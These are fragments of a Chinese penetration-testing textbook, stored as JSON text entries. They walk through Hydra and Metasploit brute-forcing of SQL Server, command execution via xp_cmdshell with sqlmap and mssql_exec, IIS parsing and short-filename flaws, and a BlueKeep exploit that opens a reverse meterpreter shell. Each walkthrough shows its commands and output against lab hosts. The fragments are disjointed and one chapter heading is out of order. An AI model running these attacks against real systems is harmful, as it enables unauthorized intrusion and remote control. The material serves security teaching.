    {"text": "未知 1.6.2 Maltego的配置 当用户将账户注册成功后，即可启动并配置Maltego工具了。 【实例1-3】 配置Maltego。具体操作步骤如下： （1）启动Maltego工具，在菜单栏中依次选择“应用程序”|“信息收集”|maltego命令，弹出Maltego产品选择对话框，如图1.44所示。 （2）该对话框中显示了所有的Maltego产品，包括Maltego XL、Maltego Classic、Maltego CE(Free)和Maltego CaseFile(Free)。其中，Maltego XL和Maltego Classic是付费的；Maltego CE和Maltego CaseFile是免费的。这里使用免费版的Maltego工具，单击Maltego CE(Free)下面的运行按钮 ，进入如图1.45所示的对话框。 图1.44 选择产品 图1.45 许可协议信息 （3）该对话框中显示的是许可协议信息。勾选Accept复选框并单击Next按钮，进入如图1.46所示的对话框。 图1.46 登录信息 （4）在其中输入前面注册的账户信息（邮件地址、密码和验证码），登录Maltego服务器，然后单击Next按钮，进入如图1.47所示的对话框。 图1.47 登录结果 （5）其中显示的是登录的结果。单击Next按钮，进入如图1.48所示的对话框。 （6）在该对话框中显示了将要安装的应用服务、Transform、实体和主机等信息。单击Next按钮，进入如图1.49所示的对话框。 图1.48 安装Transforms 图1.49 帮助改进Maltego （7）在该对话框中可以设置是否启用自动发送错误报告功能。如果想要启用，则勾选Automatically send Error Reports复选框，然后单击Next按钮，进入如图1.50所示的对话框。如果不想启用的话，直接单击Next按钮即可。 图1.50 隐私模式 （8）选择Normal模式，单击Next按钮，进入准备对话框，如图1.51所示。 图1.51 准备对话框 （9）从该对话框中可以看到Maltego已准备好。此时，用户就可以使用Maltego工具进行信息收集了。这里默认提供了3种方法，分别是Open a blank graph and let me play around（打开一个空白的图并进行操作）、Open an example graph（打开一个实例图）和Go away,I have done this before!（离开）。这里选择第一种运行方法Open a blank graph and let me play around，将打开如图1.52所示的窗口。 图1.52 打开了一个新图 （10）如果可以看到该窗口，则表示成功启动了Maltego。接下来，选择任意实体，然后使用Maltego支持的Transform即可收集信息，而且还可以对收集的信息进行分析和整理。"},
    {"text": "未知 8.3.2 暴力破解SQL Server密码 SQL Server数据库服务支持两种认证方式，分别是Windows身份验证和混合身份验证（SQL Server和Windows身份验证）。其中，Windows身份验证是通过Windows用户账户连接SQL Server服务器；混合身份验证允许用户使用Windows身份验证或SQL Server身份验证进行连接。当SQL Server服务器启用混合身份验证后，用户就可以使用sa用户进行登录并且拥有的权限最大。下面将讲解暴力破解SQL Server服务用户密码的方法。 1.使用Hydra工具 Hydra是一款功能非常强大的在线暴力破解密码工具。其中，使用hydra暴力破解SQL Server密码的语法格式如下： hydra -l sa -P <password> TARGET mssql 【实例8-14】 暴力破解目标主机192.168.80.140中SQL Server服务的sa用户密码。执行命令如下： root@daxueba:~# hydra -l sa -P /root/pass.txt 192.168.80.140 mssql Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-08-30 15:09:34 [DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task [DATA] attacking mssql://192.168.80.140:1433/ [1433][mssql] host: 192.168.80.140 login: sa password: daxueba 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-08-30 15:09:37 从输出的信息中可以看到，已成功找到一个有效的密码。其中，用户名为sa，密码为daxueba。 2.使用Metasploit中的mssql_login模块 【实例8-15】 使用Metasploit中的mssql_login模块暴力破解密码。具体操作步骤如下： （1）加载并查看mssql_login模块的配置选项。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_ping) > use auxiliary/scanner/mssql/ mssql_login msf5 auxiliary(scanner/mssql/mssql_login) > show options Module options (auxiliary/scanner/mssql/mssql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_ false no Try blank passwords for all PASSWORDS users BRUTEFORCE_ 5 yes How fast to bruteforce, from SPEED 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port (TCP) STOP_ON_ false yes Stop guessing when a SUCCESS credential works for a host TDSENCRYPTION false yes Use TLS/SSL for TDS data \"Force Encryption\" THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_ no File containing users and FILE passwords separated by space, one pair per line USER_AS_ false no Try the username as the PASS password for all users USER_FILE no File containing usernames, one per line USE_WINDOWS_ false yes Use windows authentification AUTHENT (requires DOMAIN option set) VERBOSE true yes Whether to print output for all attempts 以上输出信息显示了当前模块中的所有配置选项。接下来，用户可以根据自己的目标主机环境，配置对应的参数选项。 （2）设置RHOSTS选项，指定目标主机地址。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.80.140 RHOSTS => 192.168.80.140 （3）设置USER_FILE选项，指定用户列表文件。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_login) > set USER_FILE users.txt USER_FILE => users.txt （4）设置PASS_FILE选项，指定密码列表文件。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE pass.txt PASS_FILE => pass.txt （5）实施密码暴力破解。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_login) > exploit [*] 192.168.80.140:1433 - 192.168.80.140:1433 - MSSQL - Starting authentication scanner. [-] 192.168.80.140:1433 - 192.168.80.140:1433 - LOGIN FAILED: WORKSTATION\\ administrator:123456 (Incorrect: ) [-] 192.168.80.140:1433 - 192.168.80.140:1433 - LOGIN FAILED: WORKSTATION\\ bob:123456 (Incorrect: ) [-] 192.168.80.140:1433 - 192.168.80.140:1433 - LOGIN FAILED: WORKSTATION\\ daxueba:123456 (Incorrect: ) [-] 192.168.80.140:1433 - 192.168.80.140:1433 - LOGIN FAILED: WORKSTATION\\ test:123456 (Incorrect: ) [+] 192.168.80.140:1433 - 192.168.80.140:1433 - Login Successful: WORKSTATION\\ sa:daxueba [-] 192.168.80.140:1433 - 192.168.80.140:1433 - LOGIN FAILED: WORKSTATION\\ alice:123456 (Incorrect: ) [*] 192.168.80.140:1433 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从输出的信息中可以看到，已经成功破解出了一个有效的用户名和密码。其中，用户名为sa，密码为daxueba。"},
    {"text": "该工具提供了一个-d选项，可以用来直连SQL Server数据库，并且可以利用存储过程xp_cmdshell执行Windows系统命令，即使目标数据库服务器没有启用xp_cmdshell存储过程，SQLmap工具也会自动启动。 因此，用户可以使用SQLmap工具直连目标主机的SQL Server数据库，然后进行操作。 使用SQLmap直连数据库的语法格式如下： sqlmap -d \"//mssql://username:password@host:port/database\" --os-shell/ --os-cmd 以上语法中的选项及含义如下： ·-d：指定直连数据库的字符串。"},
    {"text": "执行命令如下： root@daxueba:~# sqlmap -d \"mssql://sa:daxueba@192.168.80.140:1433/master\" --os-shell ___ __H__ ___ ___[']_____ ___ ___ {1.3.7#stable} |_ -| . [\"] | .'| . | |___|_ [\"]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 12:13:10 /2019-08-30/ [12:13:10] [INFO] connection to Microsoft SQL Server server '192.168. 80.140:1433' established [12:13:10] [INFO] testing Microsoft SQL Server [12:13:10] [INFO] confirming Microsoft SQL Server [12:13:11] [INFO] the back-end DBMS is Microsoft SQL Server back-end DBMS: Microsoft SQL Server 2005 [12:13:11] [INFO] testing if current user is DBA [12:13:11] [INFO] checking if xp_cmdshell extended procedure is available, please wait.. [12:13:22] [INFO] xp_cmdshell extended procedure is available [12:13:22] [WARNING] (remote) 'OperationalError: Cannot drop the table 'sqlmapoutput', because it does not exist or you do not have permission. DB-Lib error message 20018, severity 11: General SQL Server error: Check messages from the SQL Server' [12:13:22] [INFO] testing if xp_cmdshell extended procedure is usable [12:13:23] [INFO] xp_cmdshell extended procedure is usable [12:13:23] [INFO] going to use extended procedure 'xp_cmdshell' for operating system command execution [12:13:23] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER os-shell> 从输出的信息中可以看到，命令行提示符显示为os-shell>。"},
    {"text": "执行命令如下： os-shell> ipconfig do you want to retrieve the command standard output? [Y/n/a] y #是否进行标准输出 执行以上命令后，提示是否将返回的结果进行标准输出。"},
    {"text": "输出如下： command standard output: --- Windows IP 配置 以太网适配器 Npcap Loopback Adapter: 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::21c6:b393:e4b4:65ec%19 自动配置 IPv4 地址 . . . . . . . : 169.254.101.236 子网掩码 . . . . . . . . . . . . : 255.255.0.0 默认网关. . . . . . . . . . . . . : 以太网适配器 本地连接: 连接特定的 DNS 后缀 . . . . . : localdomain 本地链接 IPv6 地址. . . . . . . . : fe80::8ce:2399:8ff9:c3e6%11 IPv4 地址 . . . . . . . . . . . . : 192.168.80.140 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.80.2 以太网适配器 VMware Network Adapter VMnet8: 连接特定的 DNS 后缀 . . . . . . . localdomain 本地链接 IPv6 地址. . . . . . . . : fe80::ac56:1f7b:6199:316a%17 IPv4 地址 . . . . . . . . . . . . : 192.168.80.1 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : --- 从输出的信息中可以看到，已经成功显示出了目标主机中的网络接口配置信息。"},
    {"text": "卷的序列号是 D0CE-180B C:\\Windows\\system32 的目录 2019/04/07 14:37 <DIR> . 2019/04/07 14:37 <DIR> .. 2011/04/12 22:45 <DIR> 0409 2019/03/31 10:43 1,961,984 360SecLogon64.dll 2018/08/19 15:20 158,720 aaclient.dll 2010/11/21 11:24 3,745,792 accessibilitycpl.dll 2009/06/11 05:00 14,032 accserv.mib 2009/07/14 09:24 39,424 ACCTRES.dll 2009/07/14 09:40 9,216 acledit.dll 2009/07/14 09:40 154,112 aclui.dll 2019/01/04 22:05 313,856 acmigration.dll 2010/11/21 11:24 53,248 acppage.dll 2009/07/14 09:40 11,264 acproxy.dll 2010/11/21 11:24 780,800 ActionCenter.dll 2010/11/21 11:24 549,888 ActionCenterCPL.dll 2010/11/21 11:24 213,504 ActionQueue.dll 2009/07/14 09:40 267,776 activeds.dll 2009/07/14 07:53 111,616 activeds.tlb 2018/08/19 15:44 961,024 actxprxy.dll 2009/07/14 09:38 40,448 AdapterTroubleshooter.exe 2010/11/21 11:24 577,024 AdmTmpl.dll 从输出的信息中可以看到，已经成功列出了当前目录中的所有文件。"},
    {"text": "执行命令如下： root@daxueba:~# sqlmap -d \"mssql://sa:123456@192.168.80.140:1433/master\" --os-cmd \"dir C:\" ___ __H__ ___ ___[(]_____ ___ ___ {1.3.7#stable} |_ -| . ['] | .'| . | |___|_ [\"]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:00:34 /2019-08-30/ [15:00:35] [INFO] connection to Microsoft SQL Server server '192.168. 80.140:1433' established [15:00:35] [INFO] testing Microsoft SQL Server [15:00:35] [INFO] confirming Microsoft SQL Server [15:00:35] [INFO] resumed: [[u'1']]... [15:00:35] [INFO] resumed: [[u'1']]... [15:00:35] [INFO] resumed: [[u'0']]... [15:00:35] [INFO] the back-end DBMS is Microsoft SQL Server back-end DBMS: Microsoft SQL Server 2005 [15:00:35] [INFO] testing if current user is DBA [15:00:35] [INFO] resumed: [[u'1']]... [15:00:35] [INFO] testing if xp_cmdshell extended procedure is usable [15:00:35] [INFO] xp_cmdshell extended procedure is usable do you want to retrieve the command standard output? [Y/n/a] y command standard output: --- 驱动器 C 中的卷没有标签。 卷的序列号是 D0CE-180B C:\\Windows\\System32 的目录 2019/04/07 14:37 <DIR> . 2019/04/07 14:37 <DIR> .. 2011/04/12 22:45 <DIR> 0409 2019/03/31 10:43 1,961,984 360SecLogon64.dll 2018/08/19 15:20 158,720 aaclient.dll 2010/11/21 11:24 3,745,792 accessibilitycpl.dll 2009/06/11 05:00 14,032 accserv.mib 2009/07/14 09:24 39,424 ACCTRES.dll 2009/07/14 09:40 9,216 acledit.dll 2009/07/14 09:40 154,112 aclui.dll 2019/01/04 22:05 313,856 acmigration.dll 2010/11/21 11:24 53,248 acppage.dll 2009/07/14 09:40 11,264 acproxy.dll 2010/11/21 11:24 780,800 ActionCenter.dll 2010/11/21 11:24 549,888 ActionCenterCPL.dll 2010/11/21 11:24 213,504 ActionQueue.dll 2009/07/14 09:40 267,776 activeds.dll 2009/07/14 07:53 111,616 activeds.tlb 2018/08/19 15:44 961,024 actxprxy.dll 2009/07/14 09:38 40,448 AdapterTroubleshooter.exe 2010/11/21 11:24 577,024 AdmTmpl.dll 看到以上输出信息，则表示成功执行了Windows系统命令。"},
    {"text": "2.使用Metasploit模块 Metasploit框架中提供了一个auxiliary/admin/mssql/mssql_exec模块，可以利用xp_cmdshell存储过程执行Windows系统命令。 【实例8-17】 使用auxiliary/admin/mssql/mssql_exec模块执行Windows命令。 具体操作步骤如下： （1）加载并查看auxiliary/admin/mssql/mssql_exec模块配置选项。 执行命令如下： msf5 > use auxiliary/admin/mssql/mssql_exec msf5 auxiliary(admin/mssql/mssql_exec) > show options Module options (auxiliary/admin/mssql/mssql_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD cmd.exe /c echo no Command to execute OWNED > C:\\owned.exe PASSWORD no The password for the specified username RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port (TCP) TDSENCRYPTION false yes Use TLS/SSL for TDS data \"Force Encryption\" USERNAME sa no The username to authenticate as USE_WINDOWS_ false yes Use windows authentification AUTHENT (requires DOMAIN option set) 以上输出信息中显示了当前模块的所有配置选项。"},
    {"text": "执行命令如下： msf5 auxiliary(admin/mssql/mssql_exec) > set RHOSTS 192.168.80.140 RHOSTS => 192.168.80.140 （3）设置PASSWORD选项，指定sa用户的密码。 执行命令如下： msf5 auxiliary(admin/mssql/mssql_exec) > set PASSWORD 123456 PASSWORD => 123456 （4）设置CMD选项，指定执行的命令。 执行命令如下： msf5 auxiliary(admin/mssql/mssql_exec) > set CMD cmd.exe/c ipconfig CMD => cmd.exe/c ipconfig （5）实施渗透测试。"},
    {"text": "未知 8.4 IIS服务 互联网信息服务（Internet Information Services，IIS）是由微软公司提供的基于Windows运行的互联网基础服务。它是一种Web（网页）服务组件，包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器，分别用于网页浏览、文件传输、新闻发布和邮件发送等。在Windows系统中，通常使用IIS作为Web服务。本节将介绍对IIS服务实施渗透测试的方法。 未知 8.4.1 IIS 5.X/6.0解析漏洞利用 解析漏洞是指Web服务器因对HTTP请求处理不当导致将非可执行的脚本和文件等，当做可执行的脚本和文件来执行。该漏洞一般配合服务器的文件上传功能来使用，以获取服务器的权限。在IIS 6.0中存在两个解析漏洞，分别是文件名解析漏洞和目录解析漏洞。其含义如下： ·文件名解析漏洞：IIS在处理有分号（;）的文件名时会截断后面的文件名，造成解析漏洞。 ·目录解析漏洞：在网站下建立文件夹名称中带有.asp和.asa等可执行脚本文件后缀的文件夹，其目录内的任何扩展名的文件都被IIS当做可执行文件来解析并执行。 如果目标主机的IIS服务存在这两个漏洞，则渗透测试者可以通过修改文件的后缀来上传木马文件并访问目标主机，进而控制目标服务器。 【实例8-18】 利用IIS目录解析漏洞实施渗透测试。这里仅为了演示解析漏洞的利用方法，所以创建了一个目录和文件。具体操作步骤如下： （1）在网站根目录下创建一个名为test.asp的目录，然后在test.asp目录中创建ma.jpg文件，如图8.1所示。 图8.1 创建的文件 （2）可以看到，在test.asp目录中创建了ma.jpg文件。ma.jpg不是一个可执行文件，但是由于存在目录解析漏洞，所以可以成功被执行。此时，在浏览器中输入 http://IP/test.asp/ma.jpg ，即可成功访问ma.jpg文件内容，如图8.2所示。 图8.2 访问成功 （3）从图8.2中可以看到，成功显示出了文件ma.jpg中的内容。由此可以说明，利用目录解析漏洞成功。 【实例8-19】 利用IIS文件名解析漏洞实施渗透测试。步骤如下： （1）在网站根目录下创建一个名为abc.aps;.jpg的文件，如图8.3所示。 （2）从图8.3中可以看到创建的文件不是一个可执行文件。但是该文件名中使用了分号，所以可以利用文件名解析漏洞。此时，在浏览器中访问 http://IP/abc.asp;.jpg ，即可显示该文件中的内容，如图8.4所示。 （3）从图8.4中可以看到显示的文件abc.asp;.jpg中的内容。由此可以说明，文件解析漏洞利用成功。 图8.3 创建的文件 图8.4 访问成功"},
    {"text": "未知 8.4.2 短文件名漏洞利用 短文件名漏洞是由HTTP请求中旧DOS 8.3名称约定（SFN）的代字符（~）波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称（其中，这些文件不可被访问）。渗透测试者利用该漏洞可以枚举网络服务器根目录下的文件。在一些情况下，还可以通过短文件名直接下载对应的文件。下面将介绍实施短文件名漏洞利用的方法。 1.探测是否存在短文件名漏洞 短文件名漏洞可以使用通配符星号（*）来探测及暴力破解。在Windows中，通配符可以匹配n个字符，n可以为0。用户可以通过构造Payload，分别访问如下两个URL： · http://www.target.com/*~1*/a.aspx ：成功访问该URL后，返回404错误，则说明存在短文件名漏洞，如图8.5所示。 · http://www.target.com/ttt*~1*/a.aspx ：成功访问该URL后，返回400错误（Bad Request），则说明不存在短文件名漏洞，如图8.6所示。 图8.5 返回404错误 图8.6 返回400错误 2.利用短文件名漏洞 当用户确定目标主机中存在短文件名漏洞时，则可以暴力破解其文件名。 【实例8-20】 利用短文件名漏洞暴力破解文件。例如，在网站根目录下创建一个abcdef123.txt文件。具体操作步骤如下： （1）在浏览器中分别访问 http://192.168.1.6/a*~1*/a.aspx 和 http://192.168.1.6/b*~1*/a.aspx ，效果如图8.7和图8.8所示。 （2）通过图8.7和图8.8显示的结果可知，目标主机中存在一个以a开头的短文件名漏洞。此时，用户按照以上方法依次破解可以得到 http://192.168.1.6/abcdef*~1*/a.aspx ，效果如图8.9所示。当访问 http://192.168.1.6/abcdefg*~1*/a.aspx 时，效果如图8.10所示。 图8.7 访问第一个URL结果 图8.8 访问第二个URL结果 图8.9 破解结果 图8.10 破解结果 （3）通过以上步骤对文件进行破解后可知，目标主机中存在一个以abcdef开头的短文件名漏洞。但是用户还需要确定它是一个文件夹还是一个文件。如果是一个文件的话，则需要破解其后缀名。此时，在浏览器中访问 http://192.168.1.6/abcdef*~1/a.aspx ，可以根据返回结果判断是一个文件还是文件夹，效果如图8.11所示。 图8.11 判断结果 （4）从显示的结果可以看到，返回了400错误。由此可以说明，以abcdef开头的不是一个文件夹而是一个文件。接下来，在浏览器中访问 http://192.168.1.6/abcdef*~1.a*/a.aspx ，破解该短文件后缀名的第一位是不是a，如图8.12所示。 图8.12 猜解结果 （5）从返回的结果可知，该短文件后缀名的第一位不是a。接下来尝试用a至z中的26个字母依次替换上述地址中a的位置，然后依次进行判断。当替换成t时，返回了404页面，如图8.13所示。 图8.13 返回结果 （6）看到该页面则说明该短文件的后缀名的第一位是t。然后继续进行破解，可以猜测出该短文件名的后缀为txt。此时，已经破解出该短文件名为abcdef~1.txt。根据已经破解出来的短文件名abcdef~1.txt继续破解，可以破解出该短文件名的完整文件名为abcdef123456.txt。 未知 8.5 远程桌面服务 远程桌面服务（Remote Desktop Services，RDS）是Windows下的终端服务。它允许用户通过网络控制远程计算机或者虚拟机。在Windows系统中，为了方便管理多个计算机，通常启用远程桌面服务，以便能够远程连接到桌面然后进行操作。本节将介绍对远程桌面服务实施渗透测试的方法。 未知 8.5.1 发现RDS服务 RDS服务默认使用的端口为3389，用户通过扫描该端口可以发现RDS服务，然后再探测该目标主机是否存在漏洞，再利用其漏洞进行攻击。下面将使用Nmap工具通过扫描发现RDS服务的方法。 【实例8-21】 使用Nmap工具扫描发现RDS服务。执行命令如下： root@daxueba:~# nmap -sV 192.168.1.5 -p 3389 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-02 10:37 CST Nmap scan report for win-tjuik7n16bp (192.168.1.5) Host is up (0.00044s latency). PORT STATE SERVICE VERSION 3389/tcp open ms-wbt-server? MAC Address: 00:0C:29:23:3A:1B (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 81.65 seconds 从输出的信息中可以看到，目标主机开放了3389端口。由此可以说明，目标主机上启动了RDS服务。"},
    {"text": "未知 8.5.2 探测BlueKeep漏洞 在旧版的Windows远程桌面服务中存在BlueKeep漏洞，漏洞编号为CVE-2019-0708。该漏洞可使未授权攻击者得以利用RDP连上目标系统传送恶意调用。当用户利用该漏洞后，可在远端执行任意程序、安装恶意软件、读取或删除数据、或创建拥有完全用户权限的新账户。下面将使用Metasploit模块探测目标主机是否存在BlueKeep漏洞。 【实例8-22】 探测目标主机（Windows Server 2008 R2 64位）是否存在BlueKeep漏洞。具体操作步骤如下： （1）搜索探测cve-2019-0708漏洞的模块。执行命令如下： msf5 > search cve-2019-0708 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/ 2019-05-14 normal Yes CVE-2019-0708 BlueKeep rdp/cve_2019_0708_ Microsoft Remote bluekeep Desktop RCE Check 从输出的信息中可以看到，用于探测cve-2019-0708漏洞的完整模块名为auxiliary/scanner/rdp/cve_2019_0708_bluekeep。 （2）加载并查看auxiliary/scanner/rdp/cve_2019_0708_bluekeep模块配置选项。执行命令如下： msf5 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep msf5 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > show options Module options (auxiliary/scanner/rdp/cve_2019_0708_bluekeep): Name Current Setting Required Description ---- --------------- -------- ----------- RDP_CLIENT_ 192.168.0.100 yes The client IPv4 address to report IP during connect RDP_CLIENT_ rdesktop no The client computer name to report NAME during connect, UNSET = random RDP_DOMAIN no The client domain name to report during connect RDP_USER no The username to report during connect, UNSET = random RHOSTS yes The target address range or CIDR identifier RPORT 3389 yes The target port (TCP) THREADS 1 yes The number of concurrent threads Auxiliary action: Name Description ---- ----------- Scan Scan for exploitable targets 从输出的信息中可以看到当前模块的所有配置选项。接下来将配置RHOSTS模块，以指定目标主机地址。 （3）配置RHOSTS选项，指定目标主机地址。执行命令如下： msf5 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set RHOSTS 192.168. 1.5 RHOSTS => 192.168.1.5 （4）探测目标主机是否存在漏洞。执行命令如下： msf5 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > exploit [+] 192.168.1.6:3389 - The target is vulnerable. [*] 192.168.1.6:3389 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从输出的信息中可以看到目标主机中存在漏洞。"},
    {"text": "这里，用户需要下载4个脚本，分别是rdp.rb、rdp_scanner.rb、cve_2019_0708_bluekeep_rce.rb和cve_2019_0708_bluekeep.rb。"},
    {"text": "执行命令如下： wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e 20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb 当成功下载该脚本后，将其复制到/usr/share/metasploit-framework/lib/msf/core/exploit/目录中。"},
    {"text": "（2）下载rdp_scanner.rb脚本。 执行命令如下： wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088 497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb 当成功下载该脚本后，将其复制到/usr/share/metasploit-framework/modules/auxiliary/scanner/目录中。 （3）下载cve_2019_0708_bluekeep_rce.rb脚本。 执行命令如下： wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088 497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb 当成功下载该脚本后，将其复制到/usr/share/metasploit-framework/modules/exploits/windows/rdp/目录中。 （4）下载cve_2019_0708_bluekeep.rb脚本。 执行命令如下： wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088 497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 当成功下载该脚本后，将其复制到/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/目录中。 提示： 以上下载的脚本，如果目标位置已经存在该脚本，则直接覆盖原来的脚本即可。"},
    {"text": "执行命令如下： msf5 > reload_all [*] Reloading modules from all module paths... ….. msf5 > 从输出的信息中可以看到，目标主机从所有模块路径中重新加载了模块。"},
    {"text": "执行命令如下： msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > （4）加载Payload以获取Meterpreter会话。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set payload windows/ x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp （5）查看模块配置选项。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce): Name Current Setting Required Description ---- --------------- -------- ----------- RDP_CLIENT_ 192.168.0.100 yes The client IPv4 address to report IP during connect RDP_CLIENT_ ethdev no The client computer name to report NAME during connect, UNSET = random RDP_DOMAIN no The client domain name to report during connect RDP_USER no The username to report during connect, UNSET = random RHOSTS yes The target address range or CIDR identifier RPORT 3389 yes The target port (TCP) Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic targeting via fingerprinting 从输出的信息中可以看到所有可配置的选项参数。"},
    {"text": "执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 192. 168.91.130 RHOSTS => 192.168.91.130 （7）配置LHOST选项指定攻击主机。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LHOST 192.168. 91.128 LHOST => 192.168.91.128 （8）配置目标选项。 由于cve_2019_0708_bluekeep_rce模块不支持目标主机指纹识别，所以用户需要手动指定目标主机类型。 首先查看cve_2019_0708_bluekeep_rce模块支持的所有目标主机类型。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets Exploit targets: Id Name -- ---- 0 Automatic targeting via fingerprinting 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V) 从输出的信息中可以看到，cve_2019_0708_bluekeep_rce模块共支持5个目标主机类型。"},
    {"text": "执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 3 target => 3 （10）实施渗透测试。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run [*] Started reverse TCP handler on 192.168.91.128:4444 [*] 192.168.91.130:3389 - Detected RDP on 192.168.91.130:3389 (Windows version: 6.1.7601) (Requires NLA: No) [+] 192.168.91.130:3389 - The target is vulnerable. [*] 192.168.91.130:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028608000, Channel count 1. [*] 192.168.91.130:3389 - Surfing channels ... [*] 192.168.91.130:3389 - Lobbing eggs ... [*] 192.168.91.130:3389 - Forcing the USE of FREE'd object ... [*] Sending stage (206403 bytes) to 192.168.91.130 [*] Meterpreter session 1 opened (192.168.91.128:4444 -> 192.168.91.130: 49159) at 2019-09-27 17:11:54 +0800 meterpreter > 从输出的信息中可以看到，已经成功获取一个Meterpreter会话。"},
    {"text": "执行命令如下： meterpreter > sysinfo Computer : WIN-JVF4RQHNDJU OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows 从输出的信息中可以看到目标主机的基本信息。"},
    {"text": "未知 第9章 物理入侵 如果渗透测试人员可以接触到目标主机，则可以通过物理入侵的方式对其实施攻击，如提取重要数据、制作磁盘镜像。本章将介绍一些物理入侵的渗透方法。 未知 第2章 发现Windows主机 发现Windows主机是Windows渗透测试的第一步。在这个阶段，渗透测试人员需要通过网络扫描、端口扫描、服务识别等多种方式，发现主机并确认操作系统类型。同时，还需要为后续操作收集足够的信息。本章将讲解Windows主机发现的相关内容。 未知 9.1 准备硬件 如果要实施物理入侵，则需要准备硬件设备，方便接入到目标主机。例如，用户可以使用U盘启动方式或使用Kali Linux Nethunter系统来实施物理入侵。本节将介绍这两种硬件的使用方法。"},
